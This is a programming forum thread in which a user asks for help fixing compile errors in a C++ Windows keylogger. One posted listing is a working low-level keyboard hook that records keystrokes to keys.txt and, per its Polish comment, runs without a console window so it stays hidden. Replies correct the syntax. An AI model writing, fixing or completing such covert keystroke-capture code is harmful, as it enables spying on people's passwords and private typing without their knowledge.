keylogger c++ return callnexthookex

Hi

Once again, please help
This is code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wPARAM, LPARAM lPARAM);

int main()
{

fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

case 'VK_A' : cout <<"A"; break;
case 'VK_a' : cout <<"a"; break;
case 'VK_B' : cout <<"B"; break;


            }
        }
    }
 return CallNextHookEx(HHOOK hKeyboardHook, nCode, wParam, lParam);
}


    
    {
        MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }

       return msg.wParam

    }


Displayed two errors:
1. C:\Documents and Settings\admin\Pulpit\to i tamto\key\main.cpp|37|error: expected unqualified-id before 'return'|

2. C:\Documents and Settings\admin\Pulpit\to i tamto\key\main.cpp|40|error: expected unqualified-id before '{' token|


help
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

//LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wPARAM, LPARAM lPARAM);  <----- 
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam); // <-----
int main()
{
	fstream plik;
	HHOOK hKeyboardHook =0;
	plik.open("keys.txt", ios::out);
	plik.close();
	return 0;
}

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

			case 'VK_A' : cout <<"A"; break;
			case 'VK_a' : cout <<"a"; break;
			case 'VK_B' : cout <<"B"; break;


            }
        }
    }
 return CallNextHookEx(HHOOK hKeyboardHook, nCode, wParam, lParam);
}


    //---------------------------  The code below is not written as part of any of your functions
    //---------------------------
    //---------------------------
    {
        MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }

       return msg.wParam

    }
    //---------------------------
    //---------------------------
    //---------------------------

Last edited on
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 #include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

            case 'VK_A' : cout <<"A"; break;
            case 'VK_a' : cout <<"a"; break;
            case 'VK_B' : cout <<"B"; break;


            }
        }
    }
return CallNextHookEx(HHOOK hKeyboardHook, nCode, wParam, lParam);
}


{
      MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }


still two errors:
C:\Documents and Settings\admin\Pulpit\to i tamto\key\main.cpp|34|error: expected primary-expression before 'hKeyboardHook'|

C:\Documents and Settings\admin\Pulpit\to i tamto\key\main.cpp|34|error: expected primary-expression before 'hKeyboardHook'|
so good I can not even C + + so please bear with us
Don't use a variable's type decleration when you're simply calling the function:

1
2
// return CallNextHookEx(HHOOK hKeyboardHook, nCode, wParam, lParam); <-------
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); // <------- 


Also, your code here:
1
2
3
4
5
6
7
8
9
10
11
{
      MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }


is not part of any of your functions. You do not have it as part of either LowLevelKeyboardProc() or main(). From this website's C++ tutorials:


A function is a group of statements that is executed when it is called from some point of the program. The following is its format:

type name ( parameter1, parameter2, ...) { statements }

where:

type is the data type specifier of the data returned by the function.
name is the identifier by which it will be possible to call the function.
parameters (as many as needed): Each parameter consists of a data type specifier followed by an identifier, like any regular variable declaration (for example: int x) and which acts within the function as a regular local variable. They allow to pass arguments to the function when it is called. The different parameters are separated by commas.
statements is the function's body. It is a block of statements surrounded by braces { }.

from: http://www.cplusplus.com/doc/tutorial/functions/

You specify some statements within { } but these are not part of any of your functions.
Last edited on
Could I ask you, you showed me to my example? How it should look good?
Tell me what is the difference between my code and the
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <iostream>
#include <Windows.h>
#include <fstream>

#define VK_A 65

using namespace std;

fstream plik;
HHOOK hKeyboardHook = 0;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;

    plik.open("keys.txt", fstream::in | fstream::out | fstream::app);

    if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {
                case VK_A:
                    if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                        plik << "A";
                    else
                        plik << "a";
                break;
            }

        }
    }

    plik.close();

    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

//dziêki u¿yciu WinMain zamiast main mamy program bez okna konsoli
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    MSG msg;

    hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);

    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}


Because in the above code here I have no problem with CallNextHookEx
I can not notice the difference.
Help me.
and whether it can be reduced to a number of errors ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

            case 'VK_A' : cout <<"A"; break;
            case 'VK_a' : cout <<"a"; break;
            case 'VK_B' : cout <<"B"; break;


            }
        }
    }



}

{



return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);


{
      MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }

}
The difference is that you write "HHOOK":
1
2
return CallNextHookEx(HHOOK hKeyboardHook, nCode, wParam, lParam); 
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); 
Topic archived. No new replies allowed.